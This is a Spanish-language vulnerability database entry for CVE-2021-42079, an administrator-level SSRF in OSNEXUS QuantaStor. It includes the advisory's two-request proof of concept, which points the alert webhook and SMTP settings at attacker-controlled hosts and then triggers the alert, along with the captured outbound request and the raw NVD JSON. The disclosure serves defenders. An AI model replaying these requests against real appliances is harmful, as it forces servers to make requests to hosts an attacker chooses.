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CVE-2021-42079

Estado: ModificadaMedia (4.9)—

An authenticated administrator is able to prepare an alert that is able to execute an SSRF attack. This is exclusively with POST requests.

POC

Step 1: Prepare the SSRF with a request like this:

GET /qstorapi/alertConfigSet?senderEmailAddress=a&smtpServerIpAddress=BURPCOLLABHOST&smtpServerPort=25&smtpUsername=a&smtpPassword=1&smtpAuthType=1&customerSupportEmailAddress=1&poolFreeSpaceWarningThreshold=1&poolFreeSpaceAlertThreshold=1&poolFreeSpaceCriticalAlertThreshold=1&pagerDutyServiceKey=1&slackWebhookUrl=http://<target>&enableAlertTypes&enableAlertTypes=1&disableAlertTypes=1&pauseAlertTypes=1&mattermostWebhookUrl=http://<TARGET> HTTP/1.1

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Host: <HOSTNAME> Accept-Encoding: gzip, deflate

Accept: */* Accept-Language: en

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36

Connection: close

authorization: Basic <BASIC_AUTH_HASH> Content-Type: application/json

Content-Length: 0

Step 2: Trigger this alert with this request

GET /qstorapi/alertRaise?title=test&message=test&severity=1 HTTP/1.1

Host: <HOSTNAME> Accept-Encoding: gzip, deflate

Accept: */*

Accept-Language: en

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36

Connection: close

authorization: Basic <BASIC_AUTH_HASH> Content-Type: application/json

Content-Length: 1

### Python FLASK stuff ####

'endpoint': 'index',

'method': 'POST',

'cookies': ImmutableMultiDict([]),

### END Python FLASK stuff ####

"fallback": "[122] test / test.",

"color": "#aa2222",

"title": "[122] test",

"text": "test",

"title": "Alert Severity",

"value": "CRITICAL",

"short": false        },  {         "title": "Appliance",           "value": "quantastor (https://<HOSTNAME>)",

"short": true

"title": "System / Driver / Kernel Ver",

"value": "5.10.0.156+a25eaacef / scst-3.5.0-pre / 5.3.0-62-generic",

"short": false

"title": "System Startup",

"value": "Fri Aug  6 16-02-55 2021",

"short": true

"title": "SSID",

"value": "f4823762-1dd1-1333-47a0-6238c474a7e7",

"short": true

},     ],

"footer": "QuantaStor Call-home Alert",

"footer_icon": " https://platform.slack-edge.com/img/default_application_icon.png ",

"ts": 1628461774    }   ],   "mrkdwn":true  }',  #### FLASK REQUEST STUFF #####

'Host': '<redacted>',   'User-Agent': 'curl/7.58.0',   'Accept': '*/*',   'Content-Type': 'application/json',   'Content-Length': '790'

},  'args': ImmutableMultiDict([]),  'form': ImmutableMultiDict([]),  'remote_addr': '217.103.63.173',  'path': '/payload/58',  'whois_ip': 'TNF-AS, NL' }

#### END FLASK REQUEST STUFF #####

Detalles técnicos trazas, registros y código del informe original
The post request received by <TARGET> looks like this:
{

'data': b'{ 
  "attachments": [ 
   {

    "fields": [   
     {

     },  {

     },  {

          },  {

 'headers': {

CVSS

Probabilidad de explotación (EPSS)

EPSS (Exploit Prediction Scoring System, de FIRST) estima la probabilidad de que una vulnerabilidad sea explotada en 30 días. Complementa a CVSS (impacto) y a CISA KEV (explotación confirmada).

Tecnologías afectadas (1)

Osnexus — Quantastor

CWE

Referencias

JSON original (NVD)

Mostrar
{
  "id": "CVE-2021-42079",
  "cveTags": [],
  "metrics": {
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2021-42079",
          "role": "CISA Coordinator",
          "options": [
            {
              "exploitation": "none"
            },
            {
              "automatable": "no"
            },
            {
              "technicalImpact": "partial"
            }
          ],
          "version": "2.0.3",
          "timestamp": "2024-11-04T20:06:08.530050Z"
        }
      }
    ],
    "cvssMetricV31": [
      {
        "type": "Secondary",
        "source": "csirt@divd.nl",
        "cvssData": {
          "scope": "CHANGED",
          "version": "3.1",
          "baseScore": 6.2,
          "attackVector": "NETWORK",
          "baseSeverity": "MEDIUM",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:N/A:N",
          "integrityImpact": "NONE",
          "userInteraction": "REQUIRED",
          "attackComplexity": "LOW",
          "availabilityImpact": "NONE",
          "privilegesRequired": "HIGH",
          "confidentialityImpact": "HIGH"
        },
        "impactScore": 4,
        "exploitabilityScore": 1.7
      },
      {
        "type": "Primary",
        "source": "nvd@nist.gov",
        "cvssData": {
          "scope": "UNCHANGED",
          "version": "3.1",
          "baseScore": 4.9,
          "attackVector": "NETWORK",
          "baseSeverity": "MEDIUM",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N",
          "integrityImpact": "NONE",
          "userInteraction": "NONE",
          "attackComplexity": "LOW",
          "availabilityImpact": "NONE",
          "privilegesRequired": "HIGH",
          "confidentialityImpact": "HIGH"
        },
        "impactScore": 3.6,
        "exploitabilityScore": 1.2
      }
    ]
  },
  "affected": [
    {
      "source": "csirt@divd.nl",
      "affectedData": [
        {
          "vendor": "OSNEXUS",
          "product": "QuantaStor",
          "versions": [
            {
              "status": "affected",
              "version": "0",
              "lessThan": "6.0.0.355",
              "versionType": "semver"
            }
          ],
          "platforms": [
            "Windows",
            "Linux"
          ],
          "collectionURL": "https://www.osnexus.com/downloads",
          "defaultStatus": "unknown"
        }
      ]
    }
  ],
  "published": "2023-07-10T16:15:47.467",
  "references": [
    {
      "url": "https://cisrt.divd.nl/DIVD-2021-00020/",
      "source": "csirt@divd.nl"
    },
    {
      "url": "https://csirt.divd.nl/CVE-2021-42079",
      "tags": [
        "Third Party Advisory"
      ],
      "source": "csirt@divd.nl"
    },
    {
      "url": "https://www.osnexus.com/products/software-defined-storage",
      "tags": [
        "Product"
      ],
      "source": "csirt@divd.nl"
    },
    {
      "url": "https://www.wbsec.nl/osnexus",
      "tags": [
        "Third Party Advisory"
      ],
      "source": "csirt@divd.nl"
    },
    {
      "url": "https://csirt.divd.nl/CVE-2021-42079",
      "tags": [
        "Third Party Advisory"
      ],
      "source": "af854a3a-2127-422b-91ae-364da2661108"
    },
    {
      "url": "https://www.divd.nl/DIVD-2021-00020",
      "source": "af854a3a-2127-422b-91ae-364da2661108"
    },
    {
      "url": "https://www.osnexus.com/products/software-defined-storage",
      "tags": [
        "Product"
      ],
      "source": "af854a3a-2127-422b-91ae-364da2661108"
    },
    {
      "url": "https://www.wbsec.nl/osnexus",
      "tags": [
        "Third Party Advisory"
      ],
      "source": "af854a3a-2127-422b-91ae-364da2661108"
    }
  ],
  "vulnStatus": "Modified",
  "weaknesses": [
    {
      "type": "Secondary",
      "source": "csirt@divd.nl",
      "description": [
        {
          "lang": "en",
          "value": "CWE-918"
        }
      ]
    },
    {
      "type": "Primary",
      "source": "nvd@nist.gov",
      "description": [
        {
          "lang": "en",
          "value": "CWE-918"
        }
      ]
    }
  ],
  "descriptions": [
    {
      "lang": "en",
      "value": "An authenticated administrator is able to prepare an alert that is able to execute an SSRF attack. This is exclusively with POST requests.\n\nPOC\n\nStep 1: Prepare the SSRF with a request like this:\n\nGET /qstorapi/alertConfigSet?senderEmailAddress=a&smtpServerIpAddress=BURPCOLLABHOST&smtpServerPort=25&smtpUsername=a&smtpPassword=1&smtpAuthType=1&customerSupportEmailAddress=1&poolFreeSpaceWarningThreshold=1&poolFreeSpaceAlertThreshold=1&poolFreeSpaceCriticalAlertThreshold=1&pagerDutyServiceKey=1&slackWebhookUrl=http://<target>&enableAlertTypes&enableAlertTypes=1&disableAlertTypes=1&pauseAlertTypes=1&mattermostWebhookUrl=http://<TARGET>\nHTTP/1.1\n\nHost: <HOSTNAME> \nAccept-Encoding: gzip, deflate\n\nAccept: */*\nAccept-Language: en\n\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36\n\nConnection: close\n\nauthorization: Basic <BASIC_AUTH_HASH> \nContent-Type: application/json\n\nContent-Length: 0\n\nStep 2: Trigger this alert with this request\n\nGET /qstorapi/alertRaise?title=test&message=test&severity=1 \nHTTP/1.1\n\nHost: <HOSTNAME> \nAccept-Encoding: gzip, deflate\n\nAccept: */*\n\nAccept-Language: en\n\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36\n\nConnection: close\n\nauthorization: Basic <BASIC_AUTH_HASH> \nContent-Type: application/json\n\nContent-Length: 1\n\nThe post request received by <TARGET> looks like this:\n{\n \n### Python FLASK stuff ####\n\n 'endpoint': 'index', \n \n'method': 'POST', \n \n'cookies': ImmutableMultiDict([]), \n \n### END Python FLASK stuff ####\n\n \n'data': b'{ \n  \"attachments\": [ \n   {\n\n    \"fallback\": \"[122] test / test.\",\n\n    \"color\": \"#aa2222\",\n\n    \"title\": \"[122] test\",\n\n    \"text\": \"test\",\n\n    \"fields\": [   \n     {    \n\n      \"title\": \"Alert Severity\",\n        \n      \"value\": \"CRITICAL\",\n        \n      \"short\": false  \n     },  {   \n      \"title\": \"Appliance\",     \n      \"value\": \"quantastor (https://<HOSTNAME>)\",\n      \n      \"short\": true  \n\n     },  {    \n\n      \"title\": \"System / Driver / Kernel Ver\",    \n\n      \"value\": \"5.10.0.156+a25eaacef / scst-3.5.0-pre / 5.3.0-62-generic\",    \n\n      \"short\": false  \n\n     },  {    \n\n      \"title\": \"System Startup\",    \n\n      \"value\": \"Fri Aug  6 16-02-55 2021\",    \n\n      \"short\": true  \n\n          },  {    \n\n      \"title\": \"SSID\",    \n\n      \"value\": \"f4823762-1dd1-1333-47a0-6238c474a7e7\",    \n\n      \"short\": true  \n\n     },\n    ],\n\n    \"footer\": \"QuantaStor Call-home Alert\",\n\n    \"footer_icon\": \" https://platform.slack-edge.com/img/default_application_icon.png \",\n\n    \"ts\": 1628461774\n   }\n  ], \n  \"mrkdwn\":true \n }', \n #### FLASK REQUEST STUFF #####\n\n 'headers': {\n\n  'Host': '<redacted>', \n  'User-Agent': 'curl/7.58.0', \n  'Accept': '*/*', \n  'Content-Type': 'application/json', \n  'Content-Length': '790'\n\n }, \n 'args': ImmutableMultiDict([]), \n 'form': ImmutableMultiDict([]), \n 'remote_addr': '217.103.63.173', \n 'path': '/payload/58', \n 'whois_ip': 'TNF-AS, NL'\n}\n\n#### END FLASK REQUEST STUFF #####"
    }
  ],
  "lastModified": "2026-06-17T04:09:16.550",
  "configurations": [
    {
      "nodes": [
        {
          "negate": false,
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:a:osnexus:quantastor:*:*:*:*:*:*:*:*",
              "vulnerable": true,
              "matchCriteriaId": "5E101217-36C7-4C28-8C61-7744481D2D0E",
              "versionEndExcluding": "6.0.0.355"
            }
          ],
          "operator": "OR"
        }
      ]
    }
  ],
  "sourceIdentifier": "csirt@divd.nl"
}